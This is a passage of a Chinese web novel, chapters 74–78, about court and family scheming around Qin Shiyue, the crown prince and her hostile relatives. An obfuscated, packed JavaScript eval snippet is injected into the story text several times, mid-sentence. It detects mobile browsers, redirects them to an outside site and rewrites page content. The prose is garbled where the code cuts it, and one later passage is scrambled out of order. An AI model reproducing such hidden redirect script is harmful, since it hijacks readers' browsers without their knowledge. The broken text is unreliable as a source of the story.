宋砚辞立刻安慰,“别担心,王太医说过,辰王的情况没那么严重。对了,前边有个茶寮,你坐了一路,不如下来喝点茶水透透气?” 宋墨辰眉头微拧,幸好宋砚辞的注意力都在秦时月身上,并没有察觉,否则,以宋砚辞多疑的性子,一定会对宋墨辰的伤势产生怀疑。 秦时月并不渴,也不觉得累,但她知道,自己若是不下去,宋砚辞一定不会善罢甘休。 左右宋墨辰并不是真的有事,她这才乖巧应下,“多谢殿下惦记,那臣女就恭敬不如从命了。” 宋砚辞心里高兴,转身掀帘下了车。 宋墨辰听到动静睁眼,正要阻止秦时月,却看到她朝自己摇了摇头。 他攥紧拳头,看着她跟着宋砚辞下车。 秦时月下车时马车晃动了一下,突然有手伸过来,一把拉住了她的手腕,“时月小心。” 秦时月抬头对上宋砚辞深邃的眼眸,心中警铃大作。 她立刻不动声色的抽回手,“多谢殿下。” 说完,她快速下车,站到离马车几步远的地方。 宋砚辞见秦时月这般防备自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566117|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,眼底闪过一丝寒芒,但面色不变。 “太子哥哥,出什么事了?” 坐在后边马车上的赵景阳察觉到马车停下来,担心出事,在婢女的搀扶下下了车。 “没事,赶了半日路,大家都累了,这里有个茶寮,一起喝点茶水休息片刻再启程。” 宋砚辞说着,抬脚向茶寮走去。 秦时月朝侍书使了个眼色,示意他进去照顾宋墨辰,这才跟着众人向茶寮走去。 茶寮内,众人围坐一桌。 茶水上来后,宋砚辞亲自为秦时月斟茶,声音温柔,“时月,你身子弱,这茶我试过了,温度刚好。” 秦时月心头一颤,立刻道谢,“多谢殿下。” 一旁的赵景阳看在眼里,忍不住冷哼一声。 **就是矫情,明明和辰王哥哥有婚约在身,却还面不改色的享受着太子哥哥的照顾,**! “殿下,是陆世子。” 就在气氛有些尴尬的时候,宋砚辞的侍卫突然来报。 众人扭头,这才看到起身走近的男人,不是陆明昭又是谁? “听闻前些日子陆世子迎娶了秦二小姐,说起来,你们如今也算是亲眷。” 宋砚辞故作幽默,眼睛却不断在秦时月和陆明昭的身上打量。 先前与陆明昭定下婚约的乃是长乐侯府嫡小姐,秦时月外出养病三年,长乐侯夫妇不仅收养了义女,还将婚约给了这个义女。 他倒是对此事颇为好奇,想看看秦时月在面对陆明昭时是何反应。 秦时月早看穿了他的把戏,心里冷笑,面上却毫不避嫌,“太子殿下说的是,只是我母亲并未为我生下妹妹。” 只一句,就表明了她的心思,她,不认什么秦二小姐。 秦可云这些年在京中的名声不错,但始终入不了赵景阳的眼,但能恶心到秦时月,她高兴还来不及。 所以,秦时月话音才落,她就忍不住皱起眉,指责起来,“时月姐姐这话说的,也不怕伤了长乐侯夫妇的心,毕竟这些年,是秦二小姐代替你侍奉在他们二老身侧的。” 第74章 医术暴露 秦时月柔笑看着她,声音柔顺,“郡主教训的是,不知郡主为赵家带来如此多的荣耀,赵家会不会收养义女,让其代替郡主侍奉在侧?” 赵景阳脸色一沉,抬手指着她道,“放肆!你这是什么意思?” 宋砚辞算是听明白了,不禁多看了秦时月两眼,然后对赵景阳道,“景阳,你不是时月,不该将自己的心思强加在她身上。” 他从没想到这个容貌倾城,却一副病恹恹的少女,心性竟如此刚烈。 不过,若是换成自己,恐怕也接受不了吧。 全家的荣耀全靠她一人换来,谁料养病三年归来,身份、地位,乃至婚约,都被一个所谓的养女抢走了,偏偏她还要感激这个养女的“侍奉”之恩。 呵,长乐侯府这般行事也真够恶心的。 陆明昭在看到秦时月的时候眼前一亮,但注意到宋砚辞呵赵景阳,立刻收起了心思。 现在不是叙旧的时候,待没有外人的时候,他再跟她说话… “陆明昭参见太子、景阳郡主,明月县主。”陆明昭姿态放低,只是在唤秦时月时,语调有些发颤。 没有人知道,当他从秦可云口中得知秦时月竟然为了宋墨辰赶到江南的时候,他急的彻夜难眠。 她身子骨不好,此行若是有什么偏差,他承受不住。 还好,还好,她安然无恙… “陆世子快快请起。不知陆世子这是…”宋砚辞将陆明昭的所有举动收紧眼底,在察觉到他在看秦时月时眼神不一般时,皱了皱眉。 “回殿下。明昭此行是为了找时,秦大小姐的。” “哦?找时月?”宋砚辞表面带小笑,眼神却冷了下来。 “是这样的,长乐侯夫人前两日疯病发作频繁,这两日已经有些控制不住的迹象,长乐侯与怀瑾兄日日守着挪不开,所以托我来寻人,没想到在这里碰到了。” 宋砚辞的表情好看些,但还是好奇问道,“长乐侯夫人既然病了,为何不找大夫、太医,来找时月…是不是有点说不过去?” 陆明昭看向秦时月,眼神火热,“殿下恐怕不知,秦大小姐医术了得,不仅为长公主殿下治疗好了头疾,更是为长乐侯夫人研制出了控制疯病的药。” 宋砚辞眉头一拧,似笑非笑的看向秦时月,“哦?本宫倒是不知,时月还有这等本事。” 她会医术?那为何自己在命王太医为她诊治的时候她不说? 秦时月表情不变,盈盈一拜,“陆世子有些夸大了,臣女不过是在江南养病期间闲来无事,跟着为我调养的大夫学了些皮**。至于长公主的头疾,不过是臣女胆大敢用药,这才碰巧治好了。” 她并不怕自己会医术的事暴露,毕竟东方苑说过,有一技之长,才能让所有人高看一眼。 但东方苑也说过,不要将所有的本事暴露在人前,保持一定的神秘感,不仅能迷惑敌人,也能在关键的时候给敌人最致命的一击,就像路上遇到劫路那件事。 宋砚辞深深看了她一眼没再多问,气氛一时有些古怪。 秦时月则垂着眸安静喝茶,并不主动理会陆明昭。 “既然长乐侯夫人等着救命,那不如,时月先跟陆世子回去。”宋砚辞还在笑,只是笑容里多了几分试探。 “辰王殿下身体不适,臣女身为未婚妻,理应照顾在侧。”秦时月看向陆明昭,“辰王乃皇室血脉,臣女万万不敢怠慢,还望陆世子为臣女做个见证。” 陆明昭怔愣一下。 她这意思是,宋墨辰身为皇室,身份尊贵,她不能舍他跟自己回去救母? 虽然从理智上来说,她的选择没有错,但不知为何,看到她如此为宋墨辰着想,陆明昭的心里还是极度不适的。 宋砚辞端起茶杯喝了一口,让人看不透他的心思。 “秦大小姐所言极是。” 陆明昭还想说什么,宋砚辞突然道,“既然时月不愿回去,不如写张方子,也好让陆世子带回去,不至于耽误了长乐侯夫人的病情。” 陆明昭此行确实是为了长乐侯夫人,但也是为了他自己。 他妄想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566118|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此行能和秦时月增进感情,有朝一日取她入门。 可如今,宋砚辞一句话,让他陷入了两难的境地,他脸色涨红,偏偏一句话也说不出来。 秦时月没有过多考虑,在宋砚辞的侍卫送上笔墨纸砚后,淡然提笔,缓缓写下方子。 待吹干墨迹后,直接递给了陆明昭,“陆世子,这是控制病情的方子,劳烦你带回去交于我父亲。” 这方子确实是针对疯病的,也确实能压制长乐侯夫人的并且,只是,也只是压制,毕竟长乐侯夫人的病,内有乾坤。 而这幅药方,只能让她的病情从表面看起来被遏制住,实则,身子骨会越来越差,神志会越来越不清醒。 若是没有她,长乐侯夫人会在受尽折磨后含恨而终。 只是,她不会让她死的那么快,她要让长乐侯夫人看到秦可云的下场! 陆明昭接过方子,迟疑的看着她。 秦时月却不看他一眼,将笔墨还回去,便端起茶杯,再次喝了起来。 “时月,你既有医术,可想过做个女官?”宋砚辞突然开口,眉眼间全是对她的欣赏。 “殿下莫要取消臣女,臣女的本事臣女有自知之明。” 秦时月没有拒绝,但也算间接表明了态度。 宋砚辞笑笑,“你呀…” “太子哥哥,您也太看得起她了,她要是真有本事,能调养不好自己的身子吗?” 赵景阳重重的将被子砸在桌子上,看着秦时月冷哼一声。 宋砚辞笑而不语,心里却早对此事产生了怀疑。 “殿下,我…” “陆世子还没走?可是还有事?”陆明昭一开口,宋砚辞就抬眸看了过来。 只是那威压十足的眼神让陆明昭吞口唾沫,不敢多说半个字。 他作了个揖,毕恭毕敬的退下,上马离开了。 长乐侯府。 秦可云在小喜的搀扶下,捂着微微隆起的肚皮,泪眼婆娑的看着长乐侯夫人,“娘亲,娘亲您快住手吧,莫伤了自己…” 第75章 秦可云开解 秦怀瑾疲惫不堪的瘫坐在地上,眼里透着丝丝恨意。 若不是秦时月狠心,在离府前不肯留下药丸,母亲也不会被折磨成这样! 一旁的长乐侯早没了耐性,一抬手,立刻有两个身材壮硕的嬷嬷上前控制住了长乐侯夫人。 “夫人发病,你们给我照顾好,若是闹出大事,本侯拿你们试问!” 他看着早没了往日娴静模样,行为癫狂,浑身恶臭的疯女人,眼神嫌恶的一甩袖,直接离开了。 见他转身就走,秦可云表情微变,连忙走到秦怀瑾身边。 偌大的长乐侯府,真正待她好的,也就长乐侯夫人和秦怀瑾。 如今,长乐侯夫人的病情时好时坏,未来怕是指望不上了。 而秦怀瑾,虽然之前他们之间有些误会,但只要她示好,未必不能唤起他的怜惜之情。 只要有情分在,日后他坐上长乐侯府世子的位子,她就还是长乐侯府的嫡小姐! 想到这,秦可云抹抹泪,扶着肚子蹲在了他身边,“大哥,你千万要振作起来啊,如今母亲需要你,侯府更需要你啊。” 秦怀瑾闻声抬头,看着秦可云满脸泪痕的小脸,心情格外复杂。 他如何不知秦可云没打着好算计,但此刻,她的虚情假意,还是让他找到了些慰藉。 他很想像以前那样抱住她,在她软玉温软的怀抱里释放压力,可在看到她微微隆起的小腹后,他瞬间清醒。 深吸口气,秦怀瑾攥紧拳头,待心情平复下来才开口,“可云,如今你怀着身子,还是先回府吧,这里没你的事。” 她是陆明昭的人,如今不适合在这里,若是因为家里的事伤到她腹中骨肉,只怕又要闹出不小的风雨。 秦可云脸色一白,心里不甘,她吸吸鼻子,语调沙哑,“难道大哥想就此颓废下去,不想报仇吗?若不是秦时月,母亲和咱们,也不会沦落到如今的地步!” 吼完,她不顾小喜的阻拦,直接推高了袖子。 只见她纤细白皙的胳膊上不满了青青紫紫的痕迹,看起来触目惊心。 秦怀瑾瞳孔一缩,怒不可遏的站起身道,“这是怎么回事?” 秦可云将他的反应看在眼里,眼里闪过一抹精光,面上却哭着摇头,“大哥,你别问了。我让你看这些,只是想提醒你,这偌大的侯府,你若没有能力保护自己,将来的下场…一定不会比我和母亲好。” 秦怀瑾皱皱眉,“姨娘待我很好。” 虽然之前他和芳姨娘之间有些误会,但自从她掌家,自己并未遭遇半点苛待,这足以证明她是个温婉善良的女人,她绝不会做出秦可云口中的恶事。 秦可云恨的攥紧拳头,“大哥莫不是忘了,她也有儿子!她是个母亲,有哪个母亲会不为自己的儿子着想?她现在待你好,只是为了让你放低戒备!难不成真等她的儿子坐上世子之位,你才能清醒过来吗?” 秦怀瑾浑身一僵,犹如醍醐灌顶。 是了,他怎么把秦明远给忘了? 可秦明远只是个庶子,父亲就是老糊涂,也不会将世子之位给一个庶子,那不是惹天下人笑话吗? “大哥,可云倒是没什么,虽然可云信错了人,但只要为定远侯府生下长子,那可云未来的日子就不会太差,可大哥呢?有秦时月和秦明远在,大哥真的可以护得住自己,护得住母亲吗?” 秦可云还在加火。 而此时,秦怀瑾的脸色已经难看的厉害。 方才长乐侯的态度他也看到了,他待自己的发妻都如此,日后,说不定真的会做出糊涂事,到那时,他又该怎么办? 见他听进去了,秦可云勾勾唇,命小喜扶着她起身,“该说的可云都说了,该怎么做,想必大哥心里有数,可云就先回去了。” 说完,她和小喜离开了。 秦怀瑾抬眸看着还在发疯,却已经被嬷嬷五花大绑捆起来的母亲,眼神沉了沉。 可云说的对,只有掌握了绝对的权利,才能保护他,保护他所在乎的人,不受伤害! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566119|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁斌在和小青接头后,当即带队出发。 他倒是不担心宋墨辰和秦时月的安危,先不说暗处有四个暗卫保护,就是宋砚辞,还没有在明处对他们动手的胆子。 他只是在听说了宋墨辰的消息后,有些迫不及待的想确定宋墨辰的安危。 梁斌一行人一直在快马赶路,而宋砚辞一行人要照顾“重伤”的宋墨辰,所以路上耽搁了不少时间。 他们才准备上车,梁斌一行人就赶上了。 打过招呼,众人一同启程,只是秦时月身边,多了个小青伺候。 五日后,车队再次停下歇息。 “殿下,马上就要进京了,再不动手就没机会了…” 宋砚辞的侍卫靠近宋砚辞,眼睛直勾勾盯着最前头的豪华马车。 声音才落,宋砚辞阴冷的视线立刻落到了他身上,“你知道自己在说什么吗?” 侍卫心头一惊,连忙低下了头。 “辰王如今是赈灾英雄,又是被明月县主、景阳郡主一起发现带回来的,现在动手,你是觉得本宫在这个位置上坐够了?” “殿下,奴才不是这个意思。” “不是就好,做好你的事,以后类似的话,本宫不想再听到!”说完,宋砚辞挥鞭打马,直接追了上去。 “太子殿下。”侍书恭敬打招呼。 宋砚辞没理会他,贴到马车旁敲了敲,“时月,再有小半日就要进京了,要不要再下车休息休息?” 宋墨辰翻翻白眼,故作虚弱的开口,“皇兄,昨日母后来信,实在是不放心我的伤势,既然还有小半日进京,我看还是莫要耽误时间休息了吧。” 这几日他虽然没下过车,但从侍书的描述中不难发现,宋砚辞对时月,存了不该有的心思。 他的女人,任何人都不能觊觎,便是太子也不行! 察觉到气氛不对,秦时月皱皱眉,紧跟着开口,“多谢殿下体恤,臣女不累。臣女担心母亲病情,还望殿下体谅。” 第76章 鸿门宴?走着 她没有直接拒绝,但显然,和宋墨辰的心思一样,希望能尽快进京。 宋砚辞的脸色有些难看,但没有说什么,只是命令马车继续前进。 又过了半日,马车终于进城,只是才进城,马车就被一对皇城护卫队拦了下来。 宋砚辞认出为首的正是皇后身边的大太监赵公公,当即脸色就变了几变。 “老奴拜见太子殿下。” “赵公公,这是…” “回殿下。”赵公公笑着开口,“皇后心疼殿下一路劳累,特命老奴在此恭候殿下。” 宋砚辞不傻,说是心疼他,恭候他,实则是担心自己对宋墨辰不利。 他面上不变,抬手让自己的侍卫们让开,“多谢母后心疼,五皇弟身上有伤,回去后可要好好养病才是。” “老奴记下了。”赵公公抬抬手,立刻有人接管了马车。 就在此时,小青掀开了门帘。 “赵公公好。”秦时月在小青的搀扶下下车,对赵公公打了个招呼。 赵公公早从暗卫送回宫的信件中得知秦时月与宋墨辰同乘,见她下车,没有丝毫意外。 “老奴见过县主。”他眼角带笑,比面对宋砚辞时更亲切,“县主舟车劳顿,不如上车,让老奴送县主回去吧。” 宋砚辞脸色有些难看,但面上不显。 “多谢公公美意,辰王殿下需要休息,这里距侯府不远,我坐侯府的车架就好。”秦时月面色发白,但言词间尽显大家风范,“还要劳烦公公替我跟皇后娘娘问安,我休整好,明日再去拜见。” 她在路上显露身手的事逃不过,与其等皇后娘娘派人来请,倒不如她主动些,去将事情说清楚… 赵公公闻言,脸上的笑容更甚,“县主真是体贴,老奴一定将县主的心意带到。” 说完,他转身看向宋砚辞,福了福身子,“殿下若是没有其他吩咐,老奴这就回去复命了。” “好,赵公公一路走好。” 宋砚辞心里冷哼,皮笑肉不笑回道。 目送赵公公一行人离开,秦时月又和宋砚辞告别,宋砚辞有心送她,却被她搪塞了过去,她转身上了自家马车,只留下脸色阴沉的宋砚辞。 “殿下…” 侍卫明显能感觉到宋砚辞动了怒,吓的大气不敢出。 宋砚辞哈哈一笑,打马往太子府冲去。 秦时月已经引起了他的注意,这般女子若不是欲拒还迎,那便是瞧不上他这一宫太子! “小姐,方才我瞧着太子殿下的表情有些难看…” 小青犹豫着开口,心里有些担心。 “你想多了,太子殿下是骑了一路马,骑累了。” 秦时月斜靠在软垫上闭目养神,心里却在想着明日见了皇后娘娘要怎么解释。 马车刚停在长乐侯府外,芳姨娘就带着一众下人候在了门口。 看到秦时月下车,芳姨娘赶忙上前,“大小姐一路辛苦了,前厅已备接风酒,请。” 她姿态放的很低,丝毫不顾外人看热闹的眼神。 秦时月此行可是受了皇后的懿旨,并且成功带回了失踪的辰王,于公于私,她都是侯府的功臣。 况且,她和秦时月之间有合作,如今她看的明白,侯府夫人再无翻身的可能,只要她维护好和秦时月的关系,侯府夫人的位置,迟早是她的! “有劳姨娘,不过时月有些累了,想先回去休…” “你脸也太大了!” 秦时月话没说完,秦怀瑾的声音突然响起,下一秒,他一脸怒容的出现在门口。 “你也太不把父亲、家人当回事了!所有人等了你一天,如今姨娘亲自邀你,你竟半点面子不给!” 自从秦可云点拨后,秦怀瑾就想明白了。 侯府除了他,还有一个秦明远。 想要坐上世子之位,他需得让父亲看到他的气度,尤其在面对秦时月和秦明远时,决不能让他们比下去! 秦时月在心里冷笑一声,抬眸,柔柔看过去。 这家伙怎么这么阴魂不散啊?她坐了几日车,又要想着怎么回皇后娘娘的话,真的是身心疲惫,他是真看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566120|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,还是故意想恶心她? “咳,那个,大少爷还是少说两句,我来跟大小姐说。”芳姨娘眼看秦时月变了脸色,心里一惊,连忙清清嗓子,道,“大小姐,今日一起等您回府的,还有卓家人…” 秦时月挑挑眉,突然来了兴致。 原来,是鸿门宴啊。 就是不知道他们此次前来,是为了长乐侯夫人,还是为了…在野外被灭口的那些人。 “兄长也是,外祖父和舅舅来了你也不早说,走吧小青,咱们快些过去。” 秦时月捏着丝绢咳了两声,咳的小脸惨白,看的人心里担心。 秦怀瑾却觉得她在装,冷哼一声,拂袖快步离开。 外祖家那边自然是他联系的。 他不傻,早在长乐侯夫人患上疯病被囚禁起来后,他就联系上了外祖家。 当时他想的简单,只希望外公、舅舅能帮他救出长乐侯夫人,但现在,他想明白了,外祖一家的势力若是为他所用,他的世子之位才能坐的更稳固! 前厅,秦时月一进去就觉得气氛不对,抬眸看去,就见她那个三年多不见的外公正冷着一张脸看着自己。 她心里好笑,面上却恭敬的福了福身子,“时月见过祖母,外祖父、舅舅。” 老夫人和卓老爷子冷着脸没有应声,卓天成倒是开了口,“可不敢当,如今你是县主,合该我们拜你才对。” 看着秦时月柔柔弱弱的样子,卓天成的脸上满是讽刺。 一月前他派人去路上劫人,没想到他的人就此失踪,音信全无。 他知道秦时月身边有皇后娘娘派的侍卫,可就算是皇后娘娘身边的侍卫,也不可能将人全部无声无息的处理了。 所以他猜测,定是秦时月用了什么手段! 恰逢怀瑾回家请他们,他便跟着过来看看,这丫头,到底是怎么回事! 老夫人面上替秦时月说话,心里却笑做一团。 原本秦时月不受她的掌控,她就怀恨在心,见卓家人也不待见她,悬在老夫人心上的石头总算落地了。 第77章 什么东西,也配在我面前放肆 秦时月心里冷笑,面上却不显,甚至不等长辈们允许她入座,便直接坐下了。 “舅舅这是说的哪里话?可是时月哪里做的不好,惹舅舅生气了?” 卓老爷子看到她如此没教养的一面,冷哼一声,转而看向一旁的长乐侯,“这就是你们教养出来的好女儿,要我看,这规矩学的,还不如可云!” 长乐侯夫人早将秦可云天生凤命的事告诉了卓家,这些年,卓家一直和长乐侯夫人一条心,一心一意待秦可云,就是为了有朝一日她能飞上枝头,为长乐侯府和卓家带来无上荣耀。 可秦时月回来短短几月,他就听说秦可云被定远侯府抬进府做了小妾。 天生凤命却被**至此,还葬送了卓家的荣华富贵,他作为卓家的家主,怎么咽的下这口气? 老夫人知道卓老爷子这是故意在给秦时月难堪,心里偷笑,面上佯装为秦时月说话,“老爷子消消气,时月虽然自小在卓氏身边长大,但她外出养伤三年,脾性改变也是有的,她若有什么做的不好的地方,还望老爷子多多担待。” 卓老爷子闻言,看向秦时月更是气不打一处来,“担待?我可担待不起!她仗着对皇后娘娘有救命之恩,何曾将我这个老头子放在眼里了!” 秦时月默不作声。 就在所有人以为她不会吱声的时候,她突然开口,“看来是时月做错了,早知今日,当初皇后娘娘**,时月就不该多管闲事,也免得祖母和外祖父误会时月不将你们放在眼里。” 她声调不大,却让在场众人变了脸色。 她这话外之音,不就是老夫人和卓老爷子对秦时月救驾一事心怀怨怼? 这话若是传进宫里,他们有几个脑袋?卓家和长乐侯府,谁又能逃脱得了干系? 见众人不说话,秦时月心里冷笑,起身道,“时月这就进宫,请皇后娘娘收回成命,收回时月的县主之位和父亲的长乐侯之位。至于时月…不敢惹外祖父不快,这便收拾细软,回江南的庄子里住。” 若是前世,她为了那可笑的亲情,定会大气不敢喘,可如今,他们算什么东西?也敢对她说三道四! “时月,你这是做什么?”卓家人脸色难看,还没开口,秦怀瑾就扯着僵硬的笑脸站了起来。 “外祖父也是关心你,你将来是要嫁入王府的,若是被王府嘲笑没有家教,那不是丢了咱们侯府的脸吗?” 他不敢赌,不敢赌皇后娘娘会不会因为她的一番话收回成命,毕竟没了长乐侯府,他的世子之位便是终生无望了! 其他人连忙点头附和,老夫人虽然心里气的要死,但还是放柔了语气,“时月,你兄长说的是,你外祖父也是担心你,皇家可不比寻常人家…” 秦时月心里冷笑,故作天真的道,“是,想来皇后娘娘也觉得我不知礼数,所以早派了教养嬷嬷,不日就会来府里教我宫中的规矩。” 一番话说完,老妇人的脸色青白交错,好不难看。 这是当众宣告她的身份,不止是明月县主,她还是辰王府的未来王妃,就是行为有失,也不是他们能随便指责的,自有皇后娘娘的教导。 秦时月说完,不再看他们的脸色,转身将手递给小青,“扶我回房吧,我累了,也不想在此碍着大家的眼了。” 说完,她不等众人反应,直接离开了前厅。 众人脸色各异,不知过了多久,长乐侯第一个回过神。 他举杯对着卓老爷子道歉,“是我没管教好时月,还望岳父大人消消气。” 他也不知道为什么秦时月会变成如今这样,以前的她,乖巧听话,从来不敢跟长辈们大声,可如今… “哼!你秦家如今攀了高枝儿,老夫可受不起你秦家的道歉!” 卓老爷子在秦时月那丢了面子,再加上自家女儿被囚禁,他能高兴才怪。 可老夫人却冷了脸。 若是针对秦时月倒也罢了,毕竟那等不受掌控的,合该被所有人厌弃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566121|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可如今卓老爷子针对的是她儿子,她又怎么可能坐视不理? “卓老爷子这话有些过了吧?咱们两家是亲家,我们秦家对卓家如何,卓老爷子心里该有数才对,你又何苦因为秦时月而迁怒秦家呢?” “老夫人这话我就听不懂了,秦时月不是秦家人?她如今受皇后宠爱,又是未来的辰王妃,你秦家早已不可同日而语了!” 卓老爷子气就气在这。 原本两家还算门当户对,可偏偏秦时月救驾有功打破了这一平衡。 若是秦时月听从卓静的话,对卓家有所助益,他这个做外祖父的也不是非要挑事,可现在…他还没说什么,就被好一通阴阳,他怎么能咽的下这口气? “卓老爷子怕是误会了,侯府如今的风光的确靠的是秦时月,但秦时月自以为有皇后娘娘撑腰,便想脱离侯府的管束,也太异想天开了!”老夫人眼睛微眯,里边是让人看不透的城府。 秦时月江南一行,虽然找回了辰王,但也失去了一些东西。 想嫁入王府,还要看她愿不愿意高抬一手,接下来,她就看秦时月怎么翻盘! 卓老爷子有点看不透了。 按理说,如今的秦时月算是秦家的支柱,秦家如今的所有全靠秦时月,可他们对秦时月的痛恨,似乎比他这个外姓人更甚。 “父亲,此事还能放放,卓静那…” “咳,老夫人,我此行还有一事。” 不等卓老爷子开口,老夫人立刻接话,“卓静虽 说着,又转头看向长乐侯,“顺强,你带你的岳丈和兄长过去吧,我累了,就不作陪了。” 长乐侯虽然不想看到长乐侯夫人,但不敢忤逆母亲,也不敢怠慢卓嫁入秦家,但到底也是卓家人,来人,带卓老爷子和天成去暖香园见夫人。”老爷子,只好前头带路。 揽月园。 秦时月才踏进门槛,肖嬷嬷和小荷就迎了上来,俩人一言不合就抹泪。 第78章 老夫人的算计 “小姐,您受苦了。”肖嬷嬷哽咽着,心疼的说。 秦时月摇摇头,目光扫过小荷,见她也是红肿着眼睛,心里不禁划过一丝暖流。 前世今生,真正为她着想的,都在这了,她也算不枉此生了。 “我没事,你们别哭了。小荷,去准备些热水,我想沐浴更衣。” 等小荷离开,秦时月又看向小青,“春兰,夏竹回去了?” “是,奴婢亲眼瞧着她们被刘嬷嬷叫回院子里了。”小青点点头,肯定道。 虽然知道她们一定不会乱说什么,但小青还是免不了担心,毕竟,谁也摸不清老夫人的心思。 秦时月看到她皱着眉头,忍不住轻笑出声,“好了,这些不是你该担心的,你也累坏了吧?早些去休息吧,这里有肖嬷嬷和小荷伺候就行了。” 肖嬷嬷也赶紧附和,“小姐说的是,你快去休息吧,养足精神,后边还有得忙呢。” 有些话,不便当着小青说… 小青跟着秦时月出去一月有余,早摸清了她的脾气,也不推辞,恭敬的行了个礼就退下了。 她才关好门,秦时月就笑道,“嬷嬷可是有话要说?” 刚才她就在那欲言又止的,想来是要紧的事。 提到那件事肖嬷嬷就觉得堵的慌,“小姐,您不知道,您离开的这一个多月,京城里竟传出了一些荒唐话!” “哦?是关于我的吧?”秦时月丝毫不意外。 若她的好祖母什么都不做,她才觉得奇怪。 “小姐。”见她如此不当回事,肖嬷嬷不禁有些生气。 秦时月连忙板正态度,“好好好,你说,我听着。” 肖嬷嬷探口气,缓缓将这几日京中发生的大事说了一个遍。 原来,半月前将军府嫡女举办了一场马球赛。 如今骁勇将军徐茂是除辰王外最得皇帝重用的武将,所以他的女儿举办马球赛,京城中的公子哥儿、官眷、贵女们,几乎都参加了。 可不知是谁胡言乱语,竟将秦时月塑造成了一个善妒,不尊长辈、不睦兄长、容不得姊妹的阴毒小人。 这些日子谣言传的越来越快,越来越夸张,虽然长公主听到风声第一时间命人辟谣,可谣言深入人心,表面压制下去了,但实则,还是有不少人在背地里对秦时月说三道四的。 秦时月了然的点点头。 难怪在城门口下车时她觉得外人看向她的目光有些怪异,原来是这么回事。 “嬷嬷不必担心,这些谣言伤害不到我。”秦时月神色平静,压根不把这些谣言当回事。 这些无非就是祖母搞出来的,为的就是想让她向家里求助,好让他们觉得,可以拿捏她。 可惜呀,她不是前世的秦时月,所以,根本不需要家里的庇护! “可是,那些话实在是太难听了,那些官家小姐不知小姐为人,将来若是见面,说不定会与小姐为难。” 肖嬷嬷是真心为她着想的。 要知道,只要在京城一天,就不可能脱离这个圈子,一旦名声扫地,便是加入王府,也不会受人尊敬。 “这是祖母想看到的。”秦时月勾勾唇,想到什么,眼珠子一转,突然说道,“不如,咱们也举办一场宴会?” 她回来已有几个月,也合该办场宴会和大家联络联络感情。 最主要的是,也该让祖母知道知道,有些事,并不是她一厢情愿就能操控的。 “小姐说的对,只要大家了解您的为人,那些谣言定会不攻自破!”肖嬷嬷当即笑起来。 就在这时,小荷为她准备好了热水。 秦时月沐浴后便上了床。 至于宴会的事,她得好好计划一番,总不好让祖母失望才是。 第二天一早,秦时月就上了淡妆,换上一袭云春浮锦做的衣裳。 这布料是皇后娘娘赏的,制成衣服后是件月白色长裙,腰身上绣着淡雅的兰花,穿在身上既端庄又不失雅致,将她本就出色的容貌衬的更加明媚动人。 秦时月对着镜子照了照,让小荷取来了一支素色玉簪。 她今日是要进宫请罪的,实在不适合装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 